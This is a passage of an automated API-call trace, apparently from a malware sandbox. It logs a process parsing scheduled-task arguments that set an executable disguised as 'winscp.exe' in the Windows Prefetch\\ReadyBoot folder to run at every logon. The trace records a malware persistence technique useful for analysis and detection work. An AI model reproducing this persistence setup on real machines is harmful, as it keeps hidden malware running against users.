_Buf2=0xff901b08, _Size=0x7) returned 0 [0079.533] lstrlenW (lpString="sc") returned 2 [0079.533] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.533] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|sc|") returned 4 [0079.533] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|sc|") returned 4 [0079.533] lstrlenW (lpString="|sc|") returned 4 [0079.534] lstrlenW (lpString="|sc|") returned 4 [0079.534] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0079.534] SetLastError (dwErrCode=0x0) [0079.534] SetLastError (dwErrCode=0x0) [0079.534] lstrlenW (lpString="ONLOGON") returned 7 [0079.534] lstrlenW (lpString="-/") returned 2 [0079.534] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0079.534] SetLastError (dwErrCode=0x490) [0079.534] SetLastError (dwErrCode=0x490) [0079.534] SetLastError (dwErrCode=0x0) [0079.534] lstrlenW (lpString="ONLOGON") returned 7 [0079.534] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0079.534] SetLastError (dwErrCode=0x490) [0079.534] SetLastError (dwErrCode=0x0) [0079.534] GetProcessHeap () returned 0x2b0000 [0079.534] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cd6a0 [0079.534] _memicmp (_Buf1=0x2cd6a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.534] lstrlenW (lpString="ONLOGON") returned 7 [0079.534] GetProcessHeap () returned 0x2b0000 [0079.534] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x10) returned 0x2cd6c0 [0079.534] lstrlenW (lpString="ONLOGON") returned 7 [0079.534] lstrlenW (lpString=" \x09") returned 2 [0079.534] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0079.534] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0079.534] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0079.534] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0079.534] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0079.534] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0079.534] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0079.534] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0079.534] GetLastError () returned 0x0 [0079.534] lstrlenW (lpString="ONLOGON") returned 7 [0079.534] lstrlenW (lpString="ONLOGON") returned 7 [0079.535] SetLastError (dwErrCode=0x0) [0079.535] SetLastError (dwErrCode=0x0) [0079.535] lstrlenW (lpString="/tr") returned 3 [0079.535] lstrlenW (lpString="-/") returned 2 [0079.535] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0079.535] lstrlenW (lpString="create") returned 6 [0079.535] lstrlenW (lpString="create") returned 6 [0079.535] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.535] lstrlenW (lpString="tr") returned 2 [0079.535] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.535] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|create|") returned 8 [0079.535] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tr|") returned 4 [0079.535] lstrlenW (lpString="|create|") returned 8 [0079.535] lstrlenW (lpString="|tr|") returned 4 [0079.535] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0079.535] SetLastError (dwErrCode=0x490) [0079.535] lstrlenW (lpString="?") returned 1 [0079.535] lstrlenW (lpString="?") returned 1 [0079.535] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.535] lstrlenW (lpString="tr") returned 2 [0079.535] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.535] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|?|") returned 3 [0079.535] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tr|") returned 4 [0079.535] lstrlenW (lpString="|?|") returned 3 [0079.535] lstrlenW (lpString="|tr|") returned 4 [0079.535] SetLastError (dwErrCode=0x490) [0079.535] lstrlenW (lpString="s") returned 1 [0079.535] lstrlenW (lpString="s") returned 1 [0079.535] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.535] lstrlenW (lpString="tr") returned 2 [0079.536] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.536] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|s|") returned 3 [0079.536] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tr|") returned 4 [0079.536] lstrlenW (lpString="|s|") returned 3 [0079.536] lstrlenW (lpString="|tr|") returned 4 [0079.536] SetLastError (dwErrCode=0x490) [0079.536] lstrlenW (lpString="u") returned 1 [0079.536] lstrlenW (lpString="u") returned 1 [0079.536] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.536] lstrlenW (lpString="tr") returned 2 [0079.536] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.536] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|u|") returned 3 [0079.536] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tr|") returned 4 [0079.536] lstrlenW (lpString="|u|") returned 3 [0079.536] lstrlenW (lpString="|tr|") returned 4 [0079.536] SetLastError (dwErrCode=0x490) [0079.536] lstrlenW (lpString="p") returned 1 [0079.536] lstrlenW (lpString="p") returned 1 [0079.536] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.536] lstrlenW (lpString="tr") returned 2 [0079.536] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.536] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|p|") returned 3 [0079.536] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tr|") returned 4 [0079.536] lstrlenW (lpString="|p|") returned 3 [0079.536] lstrlenW (lpString="|tr|") returned 4 [0079.536] SetLastError (dwErrCode=0x490) [0079.536] lstrlenW (lpString="ru") returned 2 [0079.536] lstrlenW (lpString="ru") returned 2 [0079.537] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.537] lstrlenW (lpString="tr") returned 2 [0079.537] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.537] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|ru|") returned 4 [0079.537] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tr|") returned 4 [0079.537] lstrlenW (lpString="|ru|") returned 4 [0079.537] lstrlenW (lpString="|tr|") returned 4 [0079.537] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0079.537] SetLastError (dwErrCode=0x490) [0079.537] lstrlenW (lpString="rp") returned 2 [0079.537] lstrlenW (lpString="rp") returned 2 [0079.537] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.538] lstrlenW (lpString="tr") returned 2 [0079.538] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.538] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rp|") returned 4 [0079.538] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tr|") returned 4 [0079.538] lstrlenW (lpString="|rp|") returned 4 [0079.538] lstrlenW (lpString="|tr|") returned 4 [0079.538] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0079.538] SetLastError (dwErrCode=0x490) [0079.538] lstrlenW (lpString="sc") returned 2 [0079.538] lstrlenW (lpString="sc") returned 2 [0079.538] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.538] lstrlenW (lpString="tr") returned 2 [0079.538] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.538] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|sc|") returned 4 [0079.538] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tr|") returned 4 [0079.538] lstrlenW (lpString="|sc|") returned 4 [0079.538] lstrlenW (lpString="|tr|") returned 4 [0079.538] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0079.538] SetLastError (dwErrCode=0x490) [0079.538] lstrlenW (lpString="mo") returned 2 [0079.538] lstrlenW (lpString="mo") returned 2 [0079.538] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.538] lstrlenW (lpString="tr") returned 2 [0079.538] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.538] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|mo|") returned 4 [0079.538] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tr|") returned 4 [0079.538] lstrlenW (lpString="|mo|") returned 4 [0079.538] lstrlenW (lpString="|tr|") returned 4 [0079.538] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0079.539] SetLastError (dwErrCode=0x490) [0079.539] lstrlenW (lpString="d") returned 1 [0079.539] lstrlenW (lpString="d") returned 1 [0079.539] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.539] lstrlenW (lpString="tr") returned 2 [0079.539] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.539] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|d|") returned 3 [0079.539] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tr|") returned 4 [0079.539] lstrlenW (lpString="|d|") returned 3 [0079.539] lstrlenW (lpString="|tr|") returned 4 [0079.539] SetLastError (dwErrCode=0x490) [0079.539] lstrlenW (lpString="m") returned 1 [0079.539] lstrlenW (lpString="m") returned 1 [0079.539] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.539] lstrlenW (lpString="tr") returned 2 [0079.539] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.539] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|m|") returned 3 [0079.539] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tr|") returned 4 [0079.539] lstrlenW (lpString="|m|") returned 3 [0079.539] lstrlenW (lpString="|tr|") returned 4 [0079.539] SetLastError (dwErrCode=0x490) [0079.539] lstrlenW (lpString="i") returned 1 [0079.539] lstrlenW (lpString="i") returned 1 [0079.539] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.539] lstrlenW (lpString="tr") returned 2 [0079.539] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.539] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|i|") returned 3 [0079.539] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tr|") returned 4 [0079.539] lstrlenW (lpString="|i|") returned 3 [0079.539] lstrlenW (lpString="|tr|") returned 4 [0079.540] SetLastError (dwErrCode=0x490) [0079.540] lstrlenW (lpString="tn") returned 2 [0079.540] lstrlenW (lpString="tn") returned 2 [0079.540] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.540] lstrlenW (lpString="tr") returned 2 [0079.540] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.540] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tn|") returned 4 [0079.540] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tr|") returned 4 [0079.540] lstrlenW (lpString="|tn|") returned 4 [0079.540] lstrlenW (lpString="|tr|") returned 4 [0079.540] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0079.540] SetLastError (dwErrCode=0x490) [0079.540] lstrlenW (lpString="tr") returned 2 [0079.540] lstrlenW (lpString="tr") returned 2 [0079.540] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.540] lstrlenW (lpString="tr") returned 2 [0079.540] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.540] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tr|") returned 4 [0079.540] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tr|") returned 4 [0079.540] lstrlenW (lpString="|tr|") returned 4 [0079.540] lstrlenW (lpString="|tr|") returned 4 [0079.540] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0079.540] SetLastError (dwErrCode=0x0) [0079.540] SetLastError (dwErrCode=0x0) [0079.540] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0079.540] lstrlenW (lpString="-/") returned 2 [0079.540] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0079.540] SetLastError (dwErrCode=0x490) [0079.540] SetLastError (dwErrCode=0x490) [0079.541] SetLastError (dwErrCode=0x0) [0079.541] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0079.541] StrChrIW (lpStart="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'", wMatch=0x3a) returned=":\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'" [0079.541] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0079.541] _memicmp (_Buf1=0x2cc430, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.541] _memicmp (_Buf1=0x2cd640, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.541] SetLastError (dwErrCode=0x7a) [0079.541] SetLastError (dwErrCode=0x0) [0079.541] SetLastError (dwErrCode=0x0) [0079.541] lstrlenW (lpString="'C") returned 2 [0079.541] lstrlenW (lpString="-/") returned 2 [0079.541] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0079.541] SetLastError (dwErrCode=0x490) [0079.541] SetLastError (dwErrCode=0x490) [0079.541] SetLastError (dwErrCode=0x0) [0079.541] _memicmp (_Buf1=0x2cd6a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.541] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0079.541] GetProcessHeap () returned 0x2b0000 [0079.541] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd6c0) returned 1 [0079.541] GetProcessHeap () returned 0x2b0000 [0079.541] RtlReAllocateHeap (Heap=0x2b0000, Flags=0xc, Ptr=0x2cd6c0, Size=0x56) returned 0x2cc3b0 [0079.541] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0079.541] lstrlenW (lpString=" \x09") returned 2 [0079.541] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0079.541] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0079.541] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0079.541] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0079.541] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0079.541] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0079.541] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0079.541] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0079.542] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0079.543] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0079.543] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0079.543] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0079.543] GetLastError () returned 0x0 [0079.543] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0079.543] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0079.543] SetLastError (dwErrCode=0x0) [0079.543] SetLastError (dwErrCode=0x0) [0079.543] lstrlenW (lpString="/rl") returned 3 [0079.543] lstrlenW (lpString="-/") returned 2 [0079.543] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0079.543] lstrlenW (lpString="create") returned 6 [0079.543] lstrlenW (lpString="create") returned 6 [0079.543] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.543] lstrlenW (lpString="rl") returned 2 [0079.543] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.543] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|create|") returned 8 [0079.543] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.543] lstrlenW (lpString="|create|") returned 8 [0079.543] lstrlenW (lpString="|rl|") returned 4 [0079.543] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0079.543] SetLastError (dwErrCode=0x490) [0079.543] lstrlenW (lpString="?") returned 1 [0079.543] lstrlenW (lpString="?") returned 1 [0079.543] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.543] lstrlenW (lpString="rl") returned 2 [0079.543] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.543] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|?|") returned 3 [0079.543] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.544] lstrlenW (lpString="|?|") returned 3 [0079.544] lstrlenW (lpString="|rl|") returned 4 [0079.544] SetLastError (dwErrCode=0x490) [0079.544] lstrlenW (lpString="s") returned 1 [0079.544] lstrlenW (lpString="s") returned 1 [0079.544] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.544] lstrlenW (lpString="rl") returned 2 [0079.544] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.544] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|s|") returned 3 [0079.544] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.544] lstrlenW (lpString="|s|") returned 3 [0079.544] lstrlenW (lpString="|rl|") returned 4 [0079.544] SetLastError (dwErrCode=0x490) [0079.544] lstrlenW (lpString="u") returned 1 [0079.544] lstrlenW (lpString="u") returned 1 [0079.544] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.544] lstrlenW (lpString="rl") returned 2 [0079.544] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.544] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|u|") returned 3 [0079.544] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.544] lstrlenW (lpString="|u|") returned 3 [0079.544] lstrlenW (lpString="|rl|") returned 4 [0079.544] SetLastError (dwErrCode=0x490) [0079.544] lstrlenW (lpString="p") returned 1 [0079.544] lstrlenW (lpString="p") returned 1 [0079.544] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.544] lstrlenW (lpString="rl") returned 2 [0079.544] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.544] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|p|") returned 3 [0079.544] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.545] lstrlenW (lpString="|p|") returned 3 [0079.545] lstrlenW (lpString="|rl|") returned 4 [0079.545] SetLastError (dwErrCode=0x490) [0079.545] lstrlenW (lpString="ru") returned 2 [0079.545] lstrlenW (lpString="ru") returned 2 [0079.545] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.545] lstrlenW (lpString="rl") returned 2 [0079.545] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.545] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|ru|") returned 4 [0079.545] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.545] lstrlenW (lpString="|ru|") returned 4 [0079.545] lstrlenW (lpString="|rl|") returned 4 [0079.545] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0079.545] SetLastError (dwErrCode=0x490) [0079.545] lstrlenW (lpString="rp") returned 2 [0079.545] lstrlenW (lpString="rp") returned 2 [0079.545] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.545] lstrlenW (lpString="rl") returned 2 [0079.545] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.545] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rp|") returned 4 [0079.545] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.545] lstrlenW (lpString="|rp|") returned 4 [0079.545] lstrlenW (lpString="|rl|") returned 4 [0079.545] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0079.545] SetLastError (dwErrCode=0x490) [0079.545] lstrlenW (lpString="sc") returned 2 [0079.545] lstrlenW (lpString="sc") returned 2 [0079.545] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.545] lstrlenW (lpString="rl") returned 2 [0079.545] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.546] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|sc|") returned 4 [0079.546] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.546] lstrlenW (lpString="|sc|") returned 4 [0079.546] lstrlenW (lpString="|rl|") returned 4 [0079.546] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0079.546] SetLastError (dwErrCode=0x490) [0079.546] lstrlenW (lpString="mo") returned 2 [0079.546] lstrlenW (lpString="mo") returned 2 [0079.546] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.546] lstrlenW (lpString="rl") returned 2 [0079.546] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.546] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|mo|") returned 4 [0079.546] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.546] lstrlenW (lpString="|mo|") returned 4 [0079.546] lstrlenW (lpString="|rl|") returned 4 [0079.546] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0079.546] SetLastError (dwErrCode=0x490) [0079.546] lstrlenW (lpString="d") returned 1 [0079.546] lstrlenW (lpString="d") returned 1 [0079.546] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.546] lstrlenW (lpString="rl") returned 2 [0079.546] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.546] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|d|") returned 3 [0079.546] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, 